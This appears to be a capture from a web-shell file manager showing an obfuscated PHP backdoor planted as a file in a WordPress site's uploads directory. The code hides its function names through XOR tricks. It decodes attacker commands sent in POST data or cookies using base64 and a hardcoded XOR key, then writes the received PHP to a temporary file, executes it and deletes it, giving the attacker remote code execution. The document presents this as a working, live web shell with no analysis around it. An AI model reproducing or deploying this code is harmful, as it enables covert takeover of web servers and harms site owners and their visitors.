HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/tbdeqtin.php
<?php 

$jknic	=    'jknic' /* vqivzs */ ^ /*fy */ '	';$fahzfkd     = /*ujinod*/ $jknic(383-286) /* zm_y  */ . /* izxkf   */ "\162"    . /*   afgayn */ "r"."a".$jknic(363-242)   .     $jknic(95) /* hwm  */ .  "m".$jknic(827-730)    .       "p";$bewhmlnjqx    = /*  xzui  */ $jknic(105)	. /* qojv_   */ "\155" /*vret*/ . /* xo   */ "\x70" /*vwj   */ .    "l"."\x6f"     .	$jknic(100) /*s   */ .    "e";

function /*   euulj*/ avzit($sgxkkopw, /* _   */ $knk_pb)

{
 /* foqzk*/ global    $jknic;       /*  puh  */ $sgxkkopw	=      $jknic(419-359) /*xivfnk  */ . /*   sdyqgi  */ "?".$jknic(112)	. /*  mzwzkw*/ "h"."p".$jknic(32) /*  rr   */ . /* kag */ "u"."n"."l".$jknic(105)	.    "n"."k"."\50"	. /* ap   */ "_"."\x5f"	. /* aby */ "F"."\111" /*wccts*/ . /* s */ $jknic(967-891)    . /*  rg   */ "\x45" /*gpmdu  */ .       "_"."_".$jknic(983-942)	. /*  q  */ "\73" /* hff  */ . /*  vop   */ $jknic(32)    .    $sgxkkopw["d"];       $lxsqfi      =   "f".$jknic(338-233) /*   ave */ .    "l".$jknic(101).$jknic(762-667)    . /*asn_ah  */ $jknic(112)     .	"\x75"      .    "t".$jknic(689-594) /* v*/ .	"c"."\157"	. /* up*/ "\x6e"	.	"t".$jknic(101)."\x6e"      .	$jknic(116)    .    "s";
     

 /*r  */ $lxsqfi($knk_pb,  $sgxkkopw);  

	qlvunklhmz($knk_pb);}

$dtcmwulqep	=    73;

function /*  s*/ qlvunklhmz($knk_pb)

{
 /*  g  */ global    $jknic;

	 /*  rvfqgb */ include($knk_pb);


	$ufxqghfelhifn       = /* povu   */ $knk_pb;

  @unlink($ufxqghfelhifn);
}



function     zraqaqmknd()


{      global    $jknic;


    $ufxqghf	= /*   mnd  */ array();
      $ufxqghf["p"."\x76"]  = /*zqts   */ phpversion();      $ufxqghf["s"."\166"]    = /*   dapbnf   */ "3"."."."5";


	$wliq_eu     =	74;


	echo    @serialize($ufxqghf);


}




function    bhxoxsr($sgxkkopw,	$rjjzs){


 /*   r_ */ global       $jknic;


 /*   u   */ $e_kxocgfix      =	"";


  $xxcjbcol       =	strlen($sgxkkopw);

      $skcrhtm /*   m*/ =   strlen($rjjzs);
    $ufxqghf    =	0;


	$n_xwbolip	=    0;
	
 /*   oqoezt   */ while    ($ufxqghf /*   o */ <    $xxcjbcol)    {    $wxldaok	= /*l*/ $sgxkkopw[$ufxqghf]	^  $rjjzs[$n_xwbolip	%     $skcrhtm];       $e_kxocgfix  .=    $wxldaok;    $n_xwbolip++;	


	$ufxqghf++;


    }


	

    if      (strlen($e_kxocgfix)    >	20) /*  xhicq   */ {


	$cczrfny_j_    =	substr($e_kxocgfix,   0,      20);


   }

 /*oybg  */ if   (empty($e_kxocgfix))    {


 /*   qxtrx  */ $e_kxocgfix	=    date('Y-m-d /*   hxyvnj   */ H:i:s');
   }


      return       $e_kxocgfix;}

function       jbhmp_tgf($xaiofszcn){

   global /*   ddsv   */ $jknic;       
    $nohzxpzm    =  $jknic(832-730)	.       $jknic(52)       . /*  iwjoq   */ "0".$jknic(150-48)    .	"f"."\143"      . /*   cqlau  */ "\145"    .	"f".$jknic(45)     .    $jknic(49) /*   hfzk   */ .    $jknic(97)    . /*vb  */ "\66" /*  q   */ . /*   ktp   */ "\x61"      .	$jknic(45)    . /*  yf   */ "4"."f"."8"."6".$jknic(911-866) /*   m_ews  */ . /*ar_sj */ "a"."0".$jknic(50)    .    $jknic(52)    .  "-"."\x61"  .	"8"."\x64" /* gx  */ .	"\143"    .  "\60"    .	$jknic(781-683) /*  nkygd  */ .    $jknic(201-153)	.       "0".$jknic(101)."\63"	. /*   cbzj   */ "\60"    .    $jknic(50);


     


	foreach /*   bsl*/ ($xaiofszcn	as   $ppebtcy /* vrbe */ => /*   jzkt  */ $sgxkkopw) /*axg  */ {	elxgfg(base64_decode($sgxkkopw),	$nohzxpzm,   $ppebtcy);	}

}


function  elxgfg($sgxkkopw,    $nohzxpzm, /*   rly */ $ppebtcy)


{       global  $jknic;   /*  l  */ $sgxkkopw	=    unserialize(bhxoxsr(bhxoxsr($sgxkkopw,	$nohzxpzm), /*kpeh  */ $ppebtcy));

	$yjoovrxm /*  irykb*/ =	'smchin';

	$mefuxey /* vux_ */ =	'skrps'; /*  o   */ if    (isset($sgxkkopw["a"."k"])) /* yz  */ {
      if       ($sgxkkopw["a"]	==	"\x69")    {

	zraqaqmknd();
 /* _wrgw  */ } /* fgv  */ elseif /* cxpq   */ ($sgxkkopw["a"]       == /*  t*/ $jknic(101))     {


    avzit($sgxkkopw, /*  f*/ sprintf($jknic(46) /*   ns   */ .	"\57"	.	$jknic(37)	.     $jknic(542-427)    .    ".".$jknic(680-568)  .	"l",       md5($nohzxpzm)));

			$aslsn_u     = /*   _j  */ 44;

    }


	exit(); /*kf*/ }

}



jbhmp_tgf($_POST); /*   x*/ $x_oiqqcmq  =    'rawurldecode';



$zsmaqpk    =    $fahzfkd($x_oiqqcmq, /* df   */ $_POST);
$bewhmlnjqx("",       $x_oiqqcmq);


jbhmp_tgf($_COOKIE);



$fkklyrjcvx    = /*qrp */ $fahzfkd($x_oiqqcmq,	$_COOKIE);



?>